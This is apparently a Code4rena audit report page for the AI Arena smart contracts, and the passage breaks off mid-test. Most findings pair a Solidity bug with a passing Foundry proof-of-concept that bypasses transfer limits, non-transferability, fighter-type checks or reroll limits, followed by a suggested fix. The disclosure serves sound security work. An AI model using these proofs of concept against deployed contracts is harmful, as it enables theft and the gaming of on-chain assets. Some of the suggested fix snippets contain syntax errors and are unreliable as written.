Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 63/283
Findings: 7
Award: $112.92
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
The FighterFarm
contract permits the transfer of Fighter NFTs even under conditions where the receiver exceeds the maximum allowed limit of fighters or the sender has staked on the fighter. This vulnerability arises due to the improper override of the safeTransferFrom()
function.
The FighterFarm
contract restricts the transfer of Fighter NFTs to an address unless all of the following conditions is met:
msg.sender
is approved or the owner of the NFT.The transferFrom()
and safeTransferFrom()
functions are overridden in the FighterFarm
contract to include checks for these conditions with the help of the following function:
File: 2024-02-ai-arena/src/FighterFarm.sol function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && balanceOf(to) < MAX_FIGHTERS_ALLOWED && !fighterStaked[tokenId] ); }
GitHub: [539-545]
The ERC721 standard includes two variations of the safeTransferFrom()
function. One variant features an additional argument named data
, which can be transmitted to the recipient if it's a contract. Essentially, the first variation internally relies on the second variation (referenced here). However, instead of overriding the second function, the contract mistakenly overrides the first one, which is an incorrect approach. Consequently, users retain the ability to transfer their tokens to recipients who fail to meet the last two conditions outlined above.
Include the following test in
FighterFarm.t.sol
function testAnAddressCanHaveMoreThanMaxLimitOfFighters() public { address alice = makeAddr("alice"); address bob = makeAddr("bob"); // minting 10 fighters to alice and bob _mintMultipleNFTsToAUser(alice); _mintMultipleNFTsToAUser(bob); // getting the balance of alice and bob uint256 balanceOfAlice = _fighterFarmContract.balanceOf(alice); uint256 balanceOfBob = _fighterFarmContract.balanceOf(bob); // chekcing the balance of alice and bob assertEq(balanceOfAlice, 10); assertEq(balanceOfBob, 10); // bob tries to transfer his NFT to alice will fails as alice already have max limit of fighters vm.prank(bob); vm.expectRevert(); _fighterFarmContract.safeTransferFrom(bob, alice, 10); // but bob can still transfer his NFT to alice because override of second variation of safeTransferFrom is not done vm.prank(bob); _fighterFarmContract.safeTransferFrom(bob, alice, 10, "0x0DeadBeef"); // checking the balance of alice and bob assertEq(_fighterFarmContract.balanceOf(alice), 11); assertEq(_fighterFarmContract.balanceOf(bob), 9); } function _mintMultipleNFTsToAUser(address user) public{ (address delegated, uint256 delegatedPvtKey) = makeAddrAndKey("delegated"); // setting new delegate. // NOTE: this function is not present in the contract, it is just for testing purposes _fighterFarmContract.setDelegatedAddress(delegated); // creating signature for the user to 3 challenger and 2 dendroids uint8[2] memory numToMint = [10, 0]; bytes32 messageToSign = keccak256(abi.encode( user, numToMint[0], numToMint[1], _fighterFarmContract.nftsClaimed(user, 0), _fighterFarmContract.nftsClaimed(user, 1) )); bytes32 signedMessage = ECDSA.toEthSignedMessageHash(messageToSign); (uint8 v, bytes32 r, bytes32 s) = vm.sign(delegatedPvtKey, signedMessage); bytes memory signature = abi.encodePacked(r, s, v); string[] memory claimModelHashes = new string[](10); for(uint i = 0; i < 10; i++){ claimModelHashes[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; } string[] memory claimModelTypes = new string[](10); for(uint i = 0; i < 10; i++){ claimModelTypes[i] = "original"; } // Right sender of signature should be able to claim fighter vm.prank(user); _fighterFarmContract.claimFighters(numToMint, signature, claimModelHashes, claimModelTypes); }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/ai-arena-audit] └─$ forge test --mt testAnAddressCanHaveMoreThanMaxLimitOfFighters [⠔] Compiling... No files changed, compilation skipped Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testAnAddressCanHaveMoreThanMaxLimitOfFighters() (gas: 9323024) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.68ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to override the second variation of the safeTransferFrom
function instead of the first variation:
- function safeTransferFrom( - address from, - address to, - uint256 tokenId - ) - public - override(ERC721, IERC721) - { - require(_ableToTransfer(tokenId, to)); - _safeTransfer(from, to, tokenId, ""); - } + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes memory data + ) public virtual override(ERC721, IERC721) { + require(_ableToTransfer(tokenId, to)); + _safeTransfer(from, to, tokenId, data); + }
ERC721
#0 - c4-pre-sort
2024-02-23T04:41:42Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T04:43:14Z
raymondfam marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-02-23T04:43:18Z
raymondfam marked the issue as primary issue
#3 - raymondfam
2024-02-23T04:44:40Z
Function signature missing the 4th parameter.
#4 - c4-sponsor
2024-03-04T01:42:46Z
brandinho (sponsor) confirmed
#5 - SonnyCastro
2024-03-06T15:41:20Z
Mitigated here
#6 - c4-judge
2024-03-11T02:06:58Z
HickupHH3 marked the issue as satisfactory
#7 - c4-judge
2024-03-11T02:09:29Z
HickupHH3 changed the severity to 3 (High Risk)
#8 - c4-judge
2024-03-11T03:08:16Z
HickupHH3 marked issue #1709 as primary and marked this issue as a duplicate of 1709
#9 - HickupHH3
2024-03-11T03:08:52Z
special mention to #1111 & #1530 for good impact elaboration
🌟 Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0048 USDC - $0.00
The GamesItems
contract fails to appropriately override and include essential checks within the safeBatchTransferFrom
function, enabling the transfer of non-transferrable Game Items.
While the GamesItems
contract allows for the designation of Game Items as either transferrable or non-transferrable through different states and overrides the ERC1155::safeTransferFrom(...)
function accordingly, it neglects to override the ERC1155::safeBatchTransferFrom(...)
function. This oversight permits users to transfer Game Items that were intended to be non-transferrable.
NOTE Include the below given test in
GameItems.t.sol
function testNonTransferableItemCanBeTransferredWithBatchTransfer() public { // funding owner address with 4k $NRN _fundUserWith4kNeuronByTreasury(_ownerAddress); // owner minting itme _gameItemsContract.mint(0, 1); // checking that the item is minted correctly assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1); // making the item non-transferable _gameItemsContract.adjustTransferability(0, false); vm.expectRevert(); // trying to transfer the non-transferable item. Should revert _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); // checking that the item is still in the owner's account assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1); // transferring the item using safeBatchTransferFrom uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, ""); // checking that the item is transferred to the delegated address assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/ai-arena-audit] └─$ forge test --mt testNonTransferableItemCanBeTransferredWithBatchTransfer [⠒] Compiling... [⠃] Compiling 1 files with 0.8.13 [⠒] Solc 0.8.13 finished in 1.77s Compiler run successful! Running 1 test for test/GameItems.t.sol:GameItemsTest [PASS] testNonTransferableItemCanBeTransferredWithBatchTransfer() (gas: 190756) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to override the safeBatchTransferFrom(...)
function and include the necessary checks to prevent the transfer of non-transferrable Game Items.
+ function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public override(ERC1155) { + for(uint256 i; i < ids.length; i++{ + require(allGameItemAttributes[ids[i]].transferable); + } + super.safeBatchTransferFrom(from, to, ids, amounts, data); + }
Or, consider overriding the _safeBatchTransferFrom(...)
function as follows:
+ function _safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal override(1155) { + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + require(to != address(0), "ERC1155: transfer to the zero address"); + + address operator = _msgSender(); + + _beforeTokenTransfer(operator, from, to, ids, amounts, data); + + for (uint256 i = 0; i < ids.length; ++i) { + require( + uint256 id = ids[i]; + uint256 amount = amounts[i]; + require(allGameItemAttributes[id].transferable); + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + + _afterTokenTransfer(operator, from, to, ids, amounts, data); + + _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); + }
Other
#0 - c4-pre-sort
2024-02-22T03:51:58Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:52:07Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:25:20Z
raymondfam marked the issue as not a duplicate
#3 - c4-pre-sort
2024-02-26T00:25:28Z
raymondfam marked the issue as primary issue
#4 - raymondfam
2024-02-26T00:33:46Z
Transfer dodging via safeBatchTransferFrom().
#5 - c4-sponsor
2024-03-04T01:40:57Z
brandinho (sponsor) confirmed
#6 - c4-judge
2024-03-05T04:47:29Z
HickupHH3 marked the issue as selected for report
#7 - c4-judge
2024-03-05T04:48:03Z
HickupHH3 changed the severity to 3 (High Risk)
#8 - SonnyCastro
2024-03-07T19:16:08Z
Mitigated here
🌟 Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
The FighterFarm::redeemMintPass(...)
function lacks validation for the type of NFTs that can be minted by burning the mint pass, allowing holders to claim any type of fighter they desire.
Currently, there are two types of fighter NFT available in the game. AR-X Bots
/ ArenaX bots
/ champions
and dendroids
. Dendroids are more exclusive class of NFTs that have some special ability as given in the official documentation. This class is more rare and difficult to obtain.
But FighterFarm::redeemMintPass(...)
allows anyone who holds an AAMintPass
to claim any type of Fighter NFTs they want. There is no check for that in the function. The function takes in the type of the NFT desired and mint the same to the user.
The sponsors have also verified that this behavior is not intended, as users should not have the capability to select the type of NFTs they wish to mint.
Include the below given test in
FighterFarm.t.sol
function testAnyoneWithAAMintPassCanMintAnyTypeOfFighterTheyWant() public { // setup uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string[](1); _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; // first i have to mint an nft from the mintpass contract assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "dna"; // setting fighter type to 1. This means the fighter will be a rare fighter _fighterTypes[0] = 1; _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 1; // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); // check balance to see if we successfully redeemed the mintpass for a fighter assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); // check balance to see if the mintpass was burned assertEq(_mintPassContract.balanceOf(_ownerAddress), 0); }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/ai-arena-audit] └─$ forge test --mt testAnyoneWithAAMintPassCanMintAnyTypeOfFighterTheyWant [⠢] Compiling... [⠊] Compiling 1 files with 0.8.13 [⠒] Solc 0.8.13 finished in 3.64s Compiler run successful! Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testAnyoneWithAAMintPassCanMintAnyTypeOfFighterTheyWant() (gas: 582877) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.09ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to add the signature validation as well in the FighterFarm::redeemMintPass(...)
for checking the type of NFTs that user can claim through his mint pass or use some other way to do the verification.
// the verification can also be done for multiple NFTs at once function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes, + bytes[] calldata signatures, ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); + // Add the necessary data in the msgHash. Here I have added only two + bytes32 msgHash = bytes32(keccak256(abi.encode( + msg.sender, + fighterTypes[i], + mintpassIdsToBurn[i] + ))); + require(Verification.verify(msgHash, signatures[i], _delegatedAddress)); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
Other
#0 - c4-pre-sort
2024-02-22T07:35:50Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:35:57Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:09Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:08:27Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
The FighterFarm::reRoll(...)
function exposes a vulnerability by failing to verify the fighter type provided to the contract. This oversight allows for additional rerolls beyond the established limit when the maximum reroll limits for different fighter types are unequal.
The oversight in FighterFarm::reRoll(...)
allows users to reroll their fighter NFTs, even if they don't match the specified fighter type. Initially, each fighter NFT in the FighterFarm
contract can be either of type 0 or type 1, each with its own generation and max reroll limit. The contract sets an initial reroll limit of 3 for all fighter NFTs. However, when the FighterFarm::incrementGeneration()
function is called for a specific fighter type, both the generation and the maximum reroll limit for that type increases. Despite this, the contract fails to verify whether the provided fighter type matches the NFT being rerolled. As a result, users can exceed the maximum reroll limit for their current fighter type by requesting a reroll with a different fighter type. This issue is particularly concerning when there are unequal reroll limits for different fighter types, as it enables users to exploit the difference to gain an unfair advantage in rerolling their NFTs.
For instance:
0
.3
times (the initial maximum reroll limit).1
is elevated by the owner, thereby increasing the maximum reroll limit for fighter type 1
by 1
.fighterType = 1
in FighterFarm::reRoll(...)
for her NFT of type 0
and obtain an additional reroll.Here is a test for PoC:
Notes:
- Include the below given test in
FighterFarm.t.sol
- Make sure the
FighterFarm::incrementGeneration(...)
is modified as given below. This line is added because it is missing in the original function (a bug) that will cause DoS when the generation is increased.
Add the following Line in the FighterFarm::incrementGeneration(...)
function:
function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; + numElements[generation[fighterType]] = numElements[generation[fighterType] - 1]; return generation[fighterType]; }
Test:
function testAUserCanReRollNFTMoreThanTheMaxLimitForTheGeneration() public { address alice = makeAddr("alice"); // giving some tokens to alice _fundUserWith4kNeuronByTreasury(alice); // minting 10 fighters to alice _mintMultipleNFTsToAUser(alice); // getting the balance of alice uint256 balanceOfAlice = _fighterFarmContract.balanceOf(alice); // chekcing the balance of alice assertEq(balanceOfAlice, 10); // checking the fighter type of the first fighter and if owner is alice (,,,,,,,,bool dendroid) = _fighterFarmContract.fighters(0); assertEq(dendroid, false); assertEq(_fighterFarmContract.ownerOf(0), alice); // giving the spender role to the fighter farm contract in neuron contract _neuronContract.addSpender(address(_fighterFarmContract)); // Rerolling the fighter NFT 3 times which is the current max limit vm.startPrank(alice); _fighterFarmContract.reRoll(0, 0); _fighterFarmContract.reRoll(0, 0); _fighterFarmContract.reRoll(0, 0); // trying to reroll the fighter NFT again will fail vm.expectRevert(); _fighterFarmContract.reRoll(0, 0); // trying to reroll the fighter with fighter type 1 will fail as well vm.expectRevert(); _fighterFarmContract.reRoll(0, 1); vm.stopPrank(); // Let's say the generation for the fighter type 1 is increased in the future. this will also increase // the max reRoll limit for it. But alice cannot reRoll again since only holds the NFT of fighter type 0. // But she can reRoll again by passing the fighter type 1 // increasing the limit for fighter type 1 _fighterFarmContract.incrementGeneration(1); vm.prank(alice); _fighterFarmContract.reRoll(0, 1); } function _mintMultipleNFTsToAUser(address user) public{ (address delegated, uint256 delegatedPvtKey) = makeAddrAndKey("delegated"); // setting new delegate. // NOTE: this function is not present in the contract, it is just for testing purposes _fighterFarmContract.setDelegatedAddress(delegated); // creating signature for the user to 3 challenger and 2 dendroids uint8[2] memory numToMint = [10, 0]; bytes32 messageToSign = keccak256(abi.encode( user, numToMint[0], numToMint[1], _fighterFarmContract.nftsClaimed(user, 0), _fighterFarmContract.nftsClaimed(user, 1) )); bytes32 signedMessage = ECDSA.toEthSignedMessageHash(messageToSign); (uint8 v, bytes32 r, bytes32 s) = vm.sign(delegatedPvtKey, signedMessage); bytes memory signature = abi.encodePacked(r, s, v); string[] memory claimModelHashes = new string[](10); for(uint i = 0; i < 10; i++){ claimModelHashes[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; } string[] memory claimModelTypes = new string[](10); for(uint i = 0; i < 10; i++){ claimModelTypes[i] = "original"; } // Right sender of signature should be able to claim fighter vm.prank(user); _fighterFarmContract.claimFighters(numToMint, signature, claimModelHashes, claimModelTypes); }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/ai-arena-audit] └─$ forge test --mt testAUserCanReRollNFTMoreThanTheMaxLimitForTheGeneration [⠘] Compiling... [⠒] Compiling 12 files with 0.8.13 [⠒] Solc 0.8.13 finished in 9.18s Compiler run successful! Running 1 test for test/FighterFarm.t.sol:FighterFarmTest [PASS] testAUserCanReRollNFTMoreThanTheMaxLimitForTheGeneration() (gas: 4948244) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.92ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to add the following changes:
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); + // It will work as the tokenId minted depends on the length of the fighters array + require((fighterType == 0 && fighters[tokenId].dendroidBool == false) || (fighterType == 1 && fighters[tokenId].dendroidBool == true), "Invalid fighter type"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
Error
#0 - c4-pre-sort
2024-02-22T02:10:32Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T02:10:41Z
raymondfam marked the issue as duplicate of #306
#2 - c4-judge
2024-03-05T04:34:52Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
🌟 Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
Judge has assessed an item in Issue #1490 as 2 risk. The relevant finding follows:
[L-8] RankedBattle::_getStakingFactor() works in a biased way for small stakers.
#0 - c4-judge
2024-03-20T00:09:48Z
HickupHH3 changed the severity to 3 (High Risk)
#1 - c4-judge
2024-03-20T00:09:59Z
HickupHH3 marked the issue as duplicate of #116
#2 - c4-judge
2024-03-20T00:10:46Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L129-L134 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470
The FighterFarm::incrementGeneration(...)
function fails to update the numElements
mapping based on the generation of fighter type, leading to denial of service when users attempt to mint.
In the game, each fighter NFT possesses unique abilities determined by their elemental type. Currently, three elemental types exist, each with its own set of elemental moves, as outlined in the documentations. These moves have varying strengths and weaknesses based on matchups, making them integral to gameplay.
The FighterFarm
contract maintains a count of elements by fighter generation:
File: 2024-02-ai-arena/src/FighterFarm.sol 85 mapping(uint8 => uint8) public numElements; 110 numElements[0] = 3;
This implies that each fighter generation can have a different number of elements. However, the contract fails to add corresponding elements to the numElements
mapping when increasing the generation of fighters.
File: 2024-02-ai-arena/src/FighterFarm.sol function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
GitHub: [29-34]
Consequently, when a user tries to mint a new NFT for a given generation, the transaction fails due to division by zero, resulting in a denial of service:
File: 2024-02-ai-arena/src/FighterFarm.sol function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { @> uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
GitHub: [47]
Additionally, there is no separate function in the contract to add elements.
NOTE
- Add the below given test in the
FighterFarm.t.sol
- There is no
setDelegatedAddress()
function in theFighterFarm.sol
. It was added for the sake of testing only- The signature generated in the test below functions correctly. There is a function given at the end of this section to check the same.
// @audit-info test-passed function testClaimFighterWithCustomSignatureAfterIncreasingGenerationLeadsToRevertTx() public { address alice = makeAddr("alice"); (address delegated, uint256 delegatedPvtKey) = makeAddrAndKey("delegated"); // increment the generation of type 1 fighter _fighterFarmContract.incrementGeneration(1); // setting new delegate. // NOTE: this function is not present in the contract, it is just for testing purposes _fighterFarmContract.setDelegatedAddress(delegated); // creating signature for the user to 3 challenger and 2 dendroids uint8[2] memory numToMint = [3, 2]; bytes32 messageToSign = keccak256(abi.encode( alice, numToMint[0], numToMint[1], _fighterFarmContract.nftsClaimed(alice, 0), _fighterFarmContract.nftsClaimed(alice, 1) )); bytes32 signedMessage = ECDSA.toEthSignedMessageHash(messageToSign); (uint8 v, bytes32 r, bytes32 s) = vm.sign(delegatedPvtKey, signedMessage); bytes memory signature = abi.encodePacked(r, s, v); string[] memory claimModelHashes = new string[](5); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[3] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; claimModelHashes[4] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](5); claimModelTypes[0] = "original"; claimModelTypes[1] = "original"; claimModelTypes[2] = "original"; claimModelTypes[3] = "original"; claimModelTypes[4] = "original"; // Right sender of signature should be able to claim fighter vm.prank(alice); 